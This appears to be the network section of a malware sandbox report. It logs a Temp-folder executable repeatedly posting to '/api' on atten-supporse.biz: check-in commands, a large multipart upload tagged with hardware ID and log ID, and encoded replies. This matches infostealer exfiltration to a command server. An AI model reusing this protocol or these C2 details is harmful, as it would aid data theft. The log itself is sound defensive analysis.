2024-12-09 22:09:29 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=se6nq22fq72ti7uc07li7v2u18; expires=Fri, 04-Apr-2025 15:56:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nRPpUlcJHZMHQU4k99ydEY807cwKX2p0cs%2B4Au80EcP18Mf1QE4BB3kdIfkP5G4XqNaubzt2ui5RXr1JlPmY6UjaQnNb5eRuen9uFWJXn3DuQNTUeiA44wD3pH6POutiK820%2Fjs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851dbca9af797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1710&rtt_var=672&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2151&delivery_rate=1593016&cwnd=151&unsent_bytes=0&cid=2288d645a5320b8d&ts=740&x=0"
2024-12-09 22:09:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49827	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 22:09:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 22:09:30 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mbith5mof6at9kn5csh85oiis9; expires=Fri, 04-Apr-2025 15:56:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=av2L1ckgFVG5ztxUnfnWcJvyy362K5GysMfi9pHWOschTjO2cvI2%2BwOP9MwNxY0qou985BnGxVUJBCl0zFkgLHspK%2BnaxAcfBMh8g6TJFQmLQ8S7tp8cxqry4G6Kabwys7As4qg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851e19a7cf797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1711&rtt_var=644&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1706604&cwnd=151&unsent_bytes=0&cid=9c9d7e6e2d451e37&ts=853&x=0"
2024-12-09 22:09:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 22:09:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49833	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:31 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZMLGRCBVM6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578714 Host: atten-supporse.biz
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 2d 2d 5a 4d 4c 47 52 43 42 56 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 5a 4d 4c 47 52 43 42 56 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 4d 4c 47 52 43 42 56 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 4d 4c 47 52 43 42 56 4d 36 0d 0a 43 6f Data Ascii: --ZMLGRCBVM6Content-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--ZMLGRCBVM6Content-Disposition: form-data; name="pid"1--ZMLGRCBVM6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ZMLGRCBVM6Co
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: dd 5b 39 1a b6 6a d1 a4 4c 27 0f 0f 95 1b 3f c0 21 91 61 d3 86 9e d5 c2 ef 28 3a 26 2c 15 b2 c4 53 14 a3 10 57 87 3a 72 f3 83 2d f7 3c 06 f6 81 6e ac 31 fb be 2c 68 59 b9 d6 a6 62 09 e7 c1 07 e3 91 40 c7 9f ef 03 fe 50 a6 28 c6 1a a0 db 2a c1 e2 db 88 98 00 75 2e a5 1c 6d b9 d8 a2 8f 07 50 97 f5 4c 9d 38 29 75 f7 dd cb 38 d5 5c ac b2 a0 80 0e ca 43 91 89 09 4e 11 f9 d0 5a 94 69 65 4a 37 06 1f c6 0a 75 09 a7 3d a4 12 df ac 8a cf 98 ca 55 ff 52 aa c0 06 20 aa b6 b8 bc d0 3c e8 2d 31 a5 49 3f 46 77 e2 18 9e 62 82 0e 5b f2 3b 75 7c ff ae 20 2e f4 15 6a 6c 7f 99 03 13 39 72 db 76 09 ff 74 a0 61 19 a1 27 6c 94 7f bc fb b8 4b 34 c6 6d 6d 5f 3f 77 e6 b0 ef 04 12 83 5a 64 c6 46 a7 72 a4 1f 8b e4 ce 25 ef 33 56 d2 e1 7f d6 a1 19 4d 1e ec b4 dc ef b6 e5 59 34 8d 9a Data Ascii: [9jL'?!a(:&,SW:r-<n1,hYb@P(*u.mPL8)u8\CNZieJ7u=UR <-1I?Fwb[;u\| .jl9rvta'lK4mm_?wZdFr%3VMY4
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 3a 6f 45 aa d4 77 eb ab 06 bc 6b 3a ea b8 75 ca a1 ca 59 74 4a 79 f4 3b f8 b9 d3 f3 af d9 5e 6e cd af 71 43 f7 7d 93 71 cc d6 8c d9 6c 16 2f 63 99 71 64 ad da 9d 7a ed 8f 8f af 45 6f 09 52 66 ab b3 ba 5f 07 55 9b 2b 02 7f e7 5b a8 96 9f 13 e5 37 50 c4 fb 57 5f 43 b4 58 ff c3 10 da 1d b0 f3 0a 85 e5 37 37 ae cc 47 cd 05 ec 78 50 d3 fb ea c6 75 27 76 e6 6b 82 55 c4 4b 07 e9 c2 97 cc d6 ab 45 90 f2 3d 87 55 bb 33 d1 90 88 90 dc cf 2e 7a 6c e4 b9 e5 19 1d 54 fc 61 2c 06 02 7d a7 d4 8a b4 04 49 22 14 0f 9c 0c f1 a2 14 fd 00 5c e4 08 64 a2 e1 84 e5 70 eb 92 58 ca 99 5f 18 bc 4c 92 e6 0b 4e 8c 5b 74 a8 55 78 81 cf 80 e5 8a e3 bd 91 f4 e7 e7 3b c2 9c c4 72 bb 05 09 1e 92 ab 67 21 ee 91 6a af 13 97 4c e9 de 8a 96 63 b3 64 de 45 bf bd 58 d8 ea db d9 d9 76 ab b8 c5 Data Ascii: :oEwk:uYtJy;^nqC}ql/cqdzEoRf_U+[7PW_CX77GxPu'vkUKE=U3.zlTa,}I"\dpX_LN[tUx;rg!jLcdEXv
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 73 5a c5 93 a2 79 17 c8 e5 31 99 99 a7 2b c6 89 f5 d2 85 22 5e 02 36 17 f3 1d 9f bb 05 9e 0a 06 d1 be 91 61 f1 6a a8 0b 50 02 c6 9e d3 b8 fb 2f b0 a6 aa 7b f6 53 dd 5d ab 1c 8e 04 07 77 e1 06 0b 44 b3 54 56 a6 14 63 56 b9 2e 2a 96 10 d8 fc 67 e4 e6 d9 d9 e3 8d c9 f1 1f f6 f5 1c f0 5a e1 fe ce 6c 1d 4e 60 ff 60 31 b9 3b ff 24 5b f6 f9 36 8b c4 5d fa d3 77 e3 19 4e 26 b5 8f b6 d2 d5 fc 3b 0d 1a 53 bc b3 93 31 4e fd d3 0c 1e 8f 22 f4 ca 4b ec 3c ef 3f f3 33 4e fb 8c b9 5e 03 e5 b5 bb c5 5e cb 72 50 f4 de 89 88 6c 50 c3 c7 5b 7d 1f 65 ce b3 eb 1b ce 21 ef fd 20 2b f0 ef 03 43 21 52 bf 10 31 0d 7d ef 77 eb c8 35 c7 0a 1c dc e5 7c 56 93 2f 96 30 df 52 7c 73 7a fa ce c4 c3 55 35 89 9a d2 d4 14 ab 1f cd 56 dc 93 02 28 08 ba e0 c1 df 1e c5 39 b0 77 5f 97 51 5a ff Data Ascii: sZy1+"^6ajP/{S]wDTVcV.*gZlN``1;$[6]wN&;S1N"K<?3N^^rPlP[}e! +C!R1}w5\|V/0R\|szU5V(9w_QZ
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 3e a1 f6 b9 a9 f2 8e c4 9e 96 7c cb 8a 96 e3 64 61 a0 7e b0 cd 6f 7f 4a b0 10 ea fc 84 b1 4d 1a 83 dd 7a 80 60 58 17 e2 2d 6e e2 77 0d 0f a2 44 e9 a1 61 f4 79 00 47 32 aa 92 af 5d 06 c6 c7 a0 f4 fb 9a 84 38 fa ca b9 4b d7 b7 88 d2 49 85 b8 c9 20 fa ff a9 90 ff ff 43 b2 2d 48 3a 2c e6 b1 15 30 ef c4 83 0f 68 6b 55 e4 7b 9d b1 0b 23 98 3d 60 1b a7 55 47 93 d9 df d9 65 e5 8b 01 92 32 77 01 91 ac 7c c9 d1 25 76 c3 7c c4 08 1d c1 a3 65 b9 7f 75 57 1e a4 2c 1f 39 e0 34 b7 94 2d f1 e7 7a 0d 22 b9 24 99 4f 20 7a 0b 87 1c 2b dd 23 c0 ec be e7 6a 2f 88 ef 83 31 01 dd bd c2 64 e9 b0 20 b9 b5 82 7d c6 e5 b8 40 08 78 5b 12 59 45 2b fd 5b ce ed f4 a4 1c f1 3b dd b5 83 52 1b 1e 03 88 a1 69 0c ee c6 3d 6e 54 b7 c5 02 40 48 bf d5 7e cf 35 05 8f 2a d8 9e 74 ca 77 e3 9c 9d Data Ascii: >\|da~oJMz`X-nwDayG2]8KI C-H:,0hkU{#=`UGe2w\|%v\|euW,94-z"$O z+#j/1d }@x[YE+[;Ri=nT@H~5*tw
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 61 38 56 fd c7 71 0d 6d 96 e9 88 dc 5e fa 1f 17 9b ea 9e 8d 12 f8 d1 c6 e6 4c b9 b1 ea 64 5c b4 27 3f 70 6d b6 90 a1 0d 64 23 c6 9a fc 44 0b 6b 05 0c 88 59 ea 10 04 f1 ae 08 2f 2b 4d 8e 05 51 fa d5 66 07 c3 8c 8f b4 36 af 9b 83 26 4b b5 94 d0 24 34 be 74 99 60 a0 8f 5e f5 3b ef 9b fa 72 46 57 8a 55 b4 60 ff 2b 71 65 cb a0 00 f2 f8 00 b7 19 05 7b a7 ba a2 8b 8f e8 7b af dd be 6d 82 07 ef 0b ff 3d 5d 63 b7 73 f4 40 19 e0 05 bc 98 95 be 40 89 fe df de 59 ba 49 a4 84 40 c3 15 ee aa 6e f1 2f f4 4c f2 5a f7 38 5b 81 2a 9c ef a8 2f 07 52 53 66 1c 15 2a 4f 72 a4 c2 60 24 6b 9b 97 18 4b 33 c7 37 69 06 a5 ff 88 4f 70 68 33 30 a8 ad 6c 4b 26 d7 6a b5 e0 23 5c 66 bb 9f 06 59 e2 27 27 38 12 8e 69 e8 f0 63 2b f1 13 2e 08 8a 43 99 9f e7 03 d1 cf 68 1b fc f3 64 0a 3d 9c Data Ascii: a8Vqm^Ld\'?pmd#DkY/+MQf6&K$4t`^;rFWU`+qe{{m=]cs@@YI@n/LZ8[/RSfOr`$kK37iOph30lK&j#\fY''8ic+.Chd=
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 79 d0 73 01 07 f1 61 5a b1 60 26 80 b8 5b 14 20 d5 a5 1e 16 41 59 03 a7 8c 9a 00 d5 e3 fc f9 59 ab 0a c2 d0 3c 86 f3 fb 4c e4 d1 99 f8 bb 94 68 4a 5b 70 d5 83 d9 fb 7b 6b d2 77 13 63 b9 d6 cc d4 da ba 84 15 53 48 de 81 5e 3c 98 98 4b 8e c5 64 1b 26 b0 84 45 fb 58 77 5f a6 35 b3 7e f6 86 3c e2 51 1f cf 46 ca 01 62 9a d2 e5 20 d2 c2 48 53 4f 9e f7 ba 87 60 9a 11 92 89 f8 ab 25 95 2d e3 67 72 0a e2 bb 1f 61 9d 05 2c 33 e8 f2 8a e2 f7 08 7d e2 47 ff 24 f7 6c 9c 05 59 f3 64 e1 30 27 a5 68 2c 8c f1 4f 62 25 9e 42 b7 a1 f4 6d d8 8f 4f ed 71 57 c6 86 58 b3 d3 05 c9 16 eb a1 0a 57 43 23 60 14 ce d5 3f 1a 1d 16 45 4e ba bd bc 1f bc fe d9 aa af 1b 1a 34 cd 57 7f 62 ac 76 20 03 8e 67 98 3a 54 26 0b 65 09 d9 61 c3 06 32 49 88 38 22 7e 33 d8 39 9f 60 84 af c3 9f a6 f3 Data Ascii: ysaZ`&[ AYY<LhJ[p{kwcSH^<Kd&EXw_5~<QFb HSO`%-gra,3}G$lYd0'h,Ob%BmOqWXWC#`?EN4Wbv g:T&ea2I8"~39`
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: f2 d1 20 fb 25 e9 cc ca a7 7e 46 c4 d1 fe 50 09 e0 80 97 ca 70 7b b3 de 25 16 6e 47 c1 af 35 68 05 b0 5f 52 5c fa 7a 60 3e 31 ed 52 bc 95 a7 9a 2c bf e5 37 81 a2 66 86 98 c6 f1 1a 32 a5 c6 5e 69 e7 71 60 81 f7 94 8d 18 09 61 30 17 dd ff c2 39 06 8f a8 32 f2 93 40 62 4b 30 b8 d1 1e fa fe 60 d4 f7 35 f5 a1 b7 20 31 cd 54 2a 7b 86 d1 51 77 26 78 2d eb 24 d3 6e 4b ed 22 e1 a3 39 94 9e 2a 9b 4d 22 e4 27 30 f2 72 0c bb 8f dc 76 e4 9f db c6 f9 51 4c ad 3c 43 c9 2e e4 e3 87 fe 9c c9 45 49 f6 46 0e b7 0a 82 c4 6d 13 6f f5 76 e3 1a cd f1 52 ce 74 14 86 1d c9 27 67 21 67 e0 ef 2c e6 a6 60 36 df e0 55 4b 2e c3 f2 83 bb 6c d9 f9 84 59 32 d9 55 03 30 be 0c 06 3e 3a 02 57 0a 6a e8 f0 42 72 58 70 c7 89 93 ae 77 a6 74 ae b9 62 ef 7f 61 2a a8 fa 11 7b 1b f3 62 ae 5f 21 18 Data Ascii: %~FPp{%nG5h_R\z`>1R,7f2^iq`a092@bK0`5 1T{Qw&x-$nK"9M"'0rvQL<C.EIFmovRt'g!g,`6UK.lY2U0>:WjBrXpwtba*{b_!
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: af 71 4f 62 e0 62 e1 ee 86 e0 61 aa e9 79 ad 1c 2f 34 2d 4e 78 ae 03 86 7b 97 8f 25 29 8e 83 73 c2 5d 91 ec c1 91 96 61 4c 4e c8 e4 3d 3c cf 7f 55 31 4f 74 a9 63 1d 2e 53 af ad 01 3f c5 ba 45 5b db 7e 67 25 26 58 92 11 23 64 7e c1 1e 1b db 09 65 ef d8 a6 87 4e 7c ef 5a 04 15 8a 22 01 49 3b 2c 0f 35 87 ff 25 c5 7f b1 3c 4f 22 92 b8 7a e9 47 de 6c a1 4f d5 aa c1 28 68 6f 39 f3 d2 03 14 ff d3 0c 38 bd 56 a1 a2 b1 5d 9f ef e5 b6 04 ab 92 c3 d6 eb 73 16 a3 5f c6 7f 27 44 90 67 85 d3 5b 0f ad d5 a6 9a 47 1f 71 f5 61 9d f8 32 b8 35 b6 bb 88 30 57 49 eb 28 01 8c ed 66 2a a5 e4 ad 30 f3 bc fe da f5 e2 6e da 4c 70 ea bf 11 95 05 2b ff f2 c1 33 30 35 cb 4b 53 1a 3c 2a 46 a1 69 f1 5b a5 e4 0a 77 12 c1 75 34 57 af e3 97 f9 ad 26 e8 a7 e7 17 b3 1c 87 cf 51 8e 10 43 e7 Data Ascii: qObbay/4-Nx{%)s]aLN=<U1Otc.S?E[~g%&X#d~eN\|Z"I;,5%<O"zGlO(ho98V]s_'Dg[Gqa250WI(f0nLp+305KS<Fi[wu4W&QC
2024-12-09 22:09:31 UTC	15331	OUT	Data Raw: 24 b2 e9 91 59 f2 eb 00 0e a3 1e aa 8c a3 4b 66 ee 5f 8b cf b9 de 73 2b e7 fa 5f 76 e5 cc 87 39 d7 b8 4d 27 ae 18 52 c8 26 35 61 38 bc 32 38 5e 63 74 72 a5 b6 4b 79 f9 6e 03 1e e8 db a8 f9 a6 5c 06 dd 02 dc 78 2c d0 be 74 07 a2 96 23 d9 19 0b 9a 28 ae 2a c0 a2 fb cf b4 5e d2 bd 3d e9 5d 47 d5 86 5d f9 97 df ee 62 50 05 40 67 d5 b2 ff 96 8d d7 80 fb 85 a9 68 fc ac b2 d8 5a 63 25 2e 9a 6e 5b 99 2a b7 16 09 d0 19 dc 7f d2 76 7f 8a a8 74 b4 ee fc 33 1a 88 de 29 9f 9c 36 de 4c a9 35 a0 18 e9 b1 39 fb c5 82 97 63 6e b9 e6 5c fa 95 d4 e2 79 5e 6a 3e ef 5a 0a 3a 20 b6 25 6c 55 54 1d 66 ec 75 0a 81 50 3f ed 22 83 af ae dd 7f 71 f1 36 1e 8d 33 62 67 93 51 98 73 3e f3 7e d5 0b b5 5a b3 c3 f8 b5 18 65 90 ee 4a 9e 15 25 b0 c0 32 1e cd 0f 90 8f 80 bd 3b 67 24 36 60 9a Data Ascii: $YKf_s+_v9M'R&5a828^ctrKyn\x,t#(^=]G]bP@ghZc%.n[vt3)6L59cn\y^j>Z: %lUTfuP?"q63bgQs>~ZeJ%2;g$6`
2024-12-09 22:09:37 UTC	1029	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fbbr7jr8i4m4nb3r3m64og3fm6; expires=Fri, 04-Apr-2025 15:56:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BLZEVkqNbMsgxDyTpgW8LwWKiNmRE%2FLq%2Bf%2BkjSA9mylLFpXhY7MBe6XK5NeJ1w%2BNwAcLGPdGC4XMi0rMQSNxUgNfW%2FkqjX0PkZxdtIDGNZNfxBWYl8M%2FAIWHdCY0dxiWfFOi2C8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851eebe000cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1532&rtt_var=740&sent=297&recv=601&lost=0&retrans=0&sent_bytes=2847&recv_bytes=581277&delivery_rate=1330296&cwnd=225&unsent_bytes=0&cid=0b00891076bebeae&ts=5236&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49834	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 22:09:31 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 22:09:32 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohm7kita4si160782jmekh0v4g; expires=Fri, 04-Apr-2025 15:56:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3DrIfK9cbEwDoaFPolb7GAC6Pj3DKBpZssaXR2UMMHgvhz9Eb8su8RGnJkiWVcnluu9WkGj%2B0CehrC9xVs8P2F3iirIzx0JQLviY8Fde1cnyBIPzxWJza%2FRsPafw3BTeq4U%2F1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851efeff1f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1748&min_rtt=1728&rtt_var=662&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1689814&cwnd=151&unsent_bytes=0&cid=9f6f5fc86961f3b9&ts=603&x=0"
2024-12-09 22:09:32 UTC	354	IN	Data Raw: 33 65 36 62 0d 0a 35 67 37 75 79 32 52 57 4d 68 59 49 47 58 64 79 2f 49 33 59 67 6d 66 78 78 78 74 76 5a 37 73 68 71 57 69 35 79 73 65 4c 62 4e 69 64 4c 4a 6a 70 58 6d 49 65 4e 48 74 38 56 55 69 49 2f 36 33 6e 53 39 4f 6d 66 30 31 64 33 55 44 46 47 39 7a 6d 35 66 30 42 2b 74 78 6f 6a 36 63 58 4d 78 34 30 62 57 46 56 53 4b 66 32 2b 75 63 4a 30 2f 30 35 43 67 33 5a 51 4d 55 4b 32 4b 47 6f 2b 77 43 37 6a 6d 4b 4a 6f 77 45 31 56 6e 64 6b 64 42 49 58 6d 65 79 79 37 41 36 63 72 33 5a 4e 53 35 6c 45 30 30 71 44 36 49 72 75 47 4c 6d 72 62 35 32 67 52 69 73 65 62 53 70 38 47 56 44 47 72 37 6e 6e 42 5a 32 68 66 77 51 50 30 30 6e 4e 43 39 32 67 74 2b 49 4b 73 49 35 73 69 71 49 4c 50 45 4a 36 62 6e 4d 5a 45 5a 50 73 2b 71 35 46 6c 4c 30 35 56 55 57 4b 63 63 67 62 79 Data Ascii: 3e6b5g7uy2RWMhYIGXdy/I3YgmfxxxtvZ7shqWi5yseLbNidLJjpXmIeNHt8VUiI/63nS9Omf01d3UDFG9zm5f0B+txoj6cXMx40bWFVSKf2+ucJ0/05Cg3ZQMUK2KGo+wC7jmKJowE1VndkdBIXmeyy7A6cr3ZNS5lE00qD6IruGLmrb52gRisebSp8GVDGr7nnBZ2hfwQP00nNC92gt+IKsI5siqILPEJ6bnMZEZPs+q5FlL05VUWKccgby
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 4f 56 42 6d 59 6e 41 65 46 59 7a 6b 73 2b 30 49 6b 36 68 7a 41 67 62 5a 52 4d 45 41 31 4b 4b 68 35 41 4f 38 68 47 7a 4d 35 30 59 7a 53 44 51 79 4f 7a 59 56 6a 75 69 32 39 6b 65 70 35 57 5a 44 48 4a 6c 45 78 30 71 44 36 4b 33 73 44 62 6d 50 59 34 2b 68 44 53 5a 51 5a 6d 78 32 45 41 4b 59 36 72 54 71 42 6f 47 76 64 77 73 47 30 45 6a 43 44 39 79 73 35 61 64 4f 76 5a 77 73 31 4f 6b 6e 4f 56 74 34 59 47 77 56 55 49 47 68 6f 36 41 43 6e 2b 55 68 54 51 48 59 52 38 6f 4f 31 61 61 68 35 51 69 30 69 57 4f 4b 6f 77 59 7a 57 6e 78 69 65 68 67 62 6b 65 2b 2f 37 51 47 56 71 58 67 49 52 5a 63 44 7a 42 4b 62 38 4f 58 48 43 62 6d 57 4c 72 6d 71 43 44 70 58 59 69 70 6b 57 77 6e 65 36 4c 61 67 58 64 4f 72 66 41 49 58 32 46 48 4f 42 4d 6d 6b 6f 4f 38 44 75 59 70 73 69 61 34 Data Ascii: OVBmYnAeFYzks+0Ik6hzAgbZRMEA1KKh5AO8hGzM50YzSDQyOzYVjui29kep5WZDHJlEx0qD6K3sDbmPY4+hDSZQZmx2EAKY6rTqBoGvdwsG0EjCD9ys5adOvZws1OknOVt4YGwVUIGho6ACn+UhTQHYR8oO1aah5Qi0iWOKowYzWnxiehgbke+/7QGVqXgIRZcDzBKb8OXHCbmWLrmqCDpXYipkWwne6LagXdOrfAIX2FHOBMmkoO8DuYpsia4
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 69 70 6b 57 77 6e 65 36 4c 61 67 58 64 4f 6f 63 51 67 41 31 6b 4c 42 42 4e 36 69 71 65 45 41 75 5a 5a 6a 69 4b 6b 4b 50 46 70 35 5a 48 38 64 47 5a 58 6b 76 4f 41 45 6d 65 55 33 54 51 4c 42 41 35 4e 4b 37 36 2b 70 35 41 48 34 73 57 2b 43 70 77 45 69 45 47 73 6b 59 6c 55 58 6b 71 2f 69 6f 41 6d 61 70 58 49 48 41 64 6c 45 78 67 2f 59 72 36 62 6b 43 62 43 4b 61 34 69 6c 44 7a 6c 57 64 47 31 2f 45 41 4b 62 35 72 62 73 52 64 33 6c 66 68 56 46 67 51 50 6b 44 63 32 72 69 75 6f 66 73 38 52 7a 77 72 42 47 4d 31 77 30 4d 6a 73 53 46 5a 62 6b 76 4f 67 46 67 61 42 33 42 67 54 54 52 63 6f 48 31 36 36 6c 36 41 36 38 69 47 79 4c 72 68 51 6d 56 58 4a 34 63 56 56 65 33 75 69 69 6f 46 33 54 6b 32 6b 61 46 4d 38 42 2f 67 6e 56 70 71 4c 2f 54 71 58 4b 64 63 79 75 43 6e 51 49 Data Ascii: ipkWwne6LagXdOocQgA1kLBBN6iqeEAuZZjiKkKPFp5ZH8dGZXkvOAEmeU3TQLBA5NK76+p5AH4sW+CpwEiEGskYlUXkq/ioAmapXIHAdlExg/Yr6bkCbCKa4ilDzlWdG1/EAKb5rbsRd3lfhVFgQPkDc2riuofs8RzwrBGM1w0MjsSFZbkvOgFgaB3BgTTRcoH166l6A68iGyLrhQmVXJ4cVVe3uiioF3Tk2kaFM8B/gnVpqL/TqXKdcyuCnQI
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 67 62 6b 65 53 6f 34 41 69 58 71 58 30 46 44 74 4d 44 68 55 72 63 73 4f 57 78 54 6f 2b 4a 59 34 79 71 45 48 52 50 4f 6e 4d 37 45 68 7a 65 74 2f 72 73 43 35 4f 71 64 51 45 4f 30 55 4c 48 42 4e 79 74 72 4f 45 47 71 49 56 6f 68 4b 67 49 4f 31 46 77 62 33 34 52 46 35 72 70 74 61 42 4c 30 36 4a 68 54 56 32 5a 62 4f 77 2f 6d 59 6d 66 71 52 48 30 6e 53 79 4c 70 55 5a 73 45 48 68 70 64 78 30 66 6d 4f 61 32 36 67 79 59 71 58 49 4a 43 64 42 47 7a 51 76 65 72 61 54 74 41 72 43 43 62 34 2b 6d 43 54 74 59 4e 43 51 37 45 67 6a 65 74 2f 72 46 45 70 69 72 66 30 30 61 6c 31 71 4c 44 64 66 6f 2f 61 6b 43 73 34 4a 71 69 61 55 48 4d 6c 68 78 59 6e 38 55 46 70 6a 73 74 65 51 41 6b 71 70 39 41 51 76 54 51 73 6f 47 30 4b 65 75 37 45 37 30 78 47 75 55 36 56 35 30 59 58 64 38 62 Data Ascii: 